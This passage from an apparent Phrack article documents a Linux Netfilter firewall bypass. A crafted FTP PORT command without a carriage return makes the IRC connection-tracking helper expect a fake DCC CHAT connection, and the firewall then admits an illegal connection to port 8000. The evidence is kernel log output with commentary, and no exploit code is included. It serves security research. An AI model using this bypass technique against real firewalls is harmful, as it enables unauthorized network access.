|
||
|
|
||
|
[ phrack staff: Output removed. Get skilled. Do it yourself! ]
|
||
|
|
||
|
=====================================================================
|
||
|
|
||
|
(4) The file /proc/net/ip_conntrack data with change of times.
|
||
|
|
||
|
The file /proc/net/ip_conntrack shows the information on connections being
|
||
|
tracked. To that end, I executed the following shell command.
|
||
|
|
||
|
/>watch -n 1 "data >> /tmp/ipconn.txt;cat /proc/net/ip_conntrack >>
|
||
|
/tmp/ipconn.txt"
|
||
|
|
||
|
Note : Connections that are not associated with this test are seen from
|
||
|
time to time. I am sorry for this.
|
||
|
|
||
|
[ phrack staff: Output removed. Use the force luke! ]
|
||
|
|
||
|
=====================================================================
|
||
|
(5) dmesg outputs
|
||
|
|
||
|
->The following paragraph in the message shows that the first PORT command
|
||
|
w/o <CR> was regarded as "partial" and thus dropped.
|
||
|
|
||
|
Dec 31 15:03:40 hans kernel: find_pattern `PORT': dlen = 23
|
||
|
Dec 31 15:03:40 hans kernel: Pattern matches!
|
||
|
Dec 31 15:03:40 hans kernel: Skipped up to ` '!
|
||
|
Dec 31 15:03:40 hans kernel: Char 17 (got 5 nums) `10' unexpected
|
||
|
Dec 31 15:03:40 hans kernel: conntrack_ftp: partial PORT 1273167371+23
|
||
|
|
||
|
|
||
|
->The following paragraph shows that the second invalid PORT command w/o
|
||
|
<CR> was accepted because it was regarded as a packet that had a wrong
|
||
|
sequence position.(i.e., the packet was not regarded as an FTP command)
|
||
|
|
||
|
Dec 31 15:03:40 hans kernel: ip_conntrack_in: normal packet for d7369080
|
||
|
Dec 31 15:03:40 hans kernel: conntrack_ftp: datalen 23
|
||
|
Dec 31 15:03:40 hans kernel: conntrack_ftp: datalen 23 ends in \n
|
||
|
Dec 31 15:03:40 hans kernel: ip_conntrack_ftp_help: wrong seq pos
|
||
|
(1273167394)
|
||
|
|
||
|
|
||
|
->The following shows that the connection-tracking module mistook the FTP
|
||
|
data connection for IRC.
|
||
|
|
||
|
Dec 31 15:03:40 hans kernel: ip_conntrack_in: new packet for d73691c0
|
||
|
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:entered
|
||
|
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:Conntrackinfo = 2
|
||
|
Dec 31 15:03:40 hans kernel: Confirming conntrack d73691c0
|
||
|
|
||
|
|
||
|
->The following shows that ip_conntrack_irc mistook the packet contents of
|
||
|
the FTP data connection for a DCC CHAT command and "expected" the fake
|
||
|
chatting connection.
|
||
|
|
||
|
Dec 31 15:03:40 hans kernel: ip_conntrack_in: normal packet for d73691c0
|
||
|
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:entered
|
||
|
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:DCC found in master
|
||
|
192.168.4.4:20 192.168.3.3:6667...
|
||
|
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:DCC CHAT detected
|
||
|
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:DCC bound ip/port:
|
||
|
192.168.4.4:8000
|
||
|
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:tcph->seq = 3731565152
|
||
|
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:wrote info
|
||
|
seq=1613392874 (ofs=33), len=21
|
||
|
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:expect_related
|
||
|
0.0.0.0:0-192.168.4.4:8000
|
||
|
Dec 31 15:03:40 hans kernel: ip_conntrack_expect_related d73691c0
|
||
|
Dec 31 15:03:40 hans kernel: tuple: tuple d6c61d94: 6 0.0.0.0:0 ->
|
||
|
192.168.4.4:8000
|
||
|
Dec 31 15:03:40 hans kernel: mask: tuple d6c61da4: 65535 0.0.0.0:0 ->
|
||
|
255.255.255.255:65535
|
||
|
Dec 31 15:03:40 hans kernel: new expectation d7cf82e0 of conntrack d73691c0
|
||
|
|
||
|
|
||
|
->The following shows that ip_conntrack, after all, accepted the illegal
|
||
|
connection to port 8000 under the stateful inspection rule.
|
||
|
|
||
|
Dec 31 15:03:40 hans kernel: conntrack: expectation arrives ct=d7369260
|
||
|
exp=d7cf82e0
|
||
|
Dec 31 15:03:41 hans kernel: ip_conntrack_in: related packet for d7369260
|
||
|
Dec 31 15:03:41 hans kernel: Confirming conntrack d7369260
|
||
|
Dec 31 15:03:41 hans kernel: ip_conntrack_in: normal packet for d7369260
|
||
|
|
||
|
|=[ EOF ]=---------------------------------------------------------------=|
|
||
|
|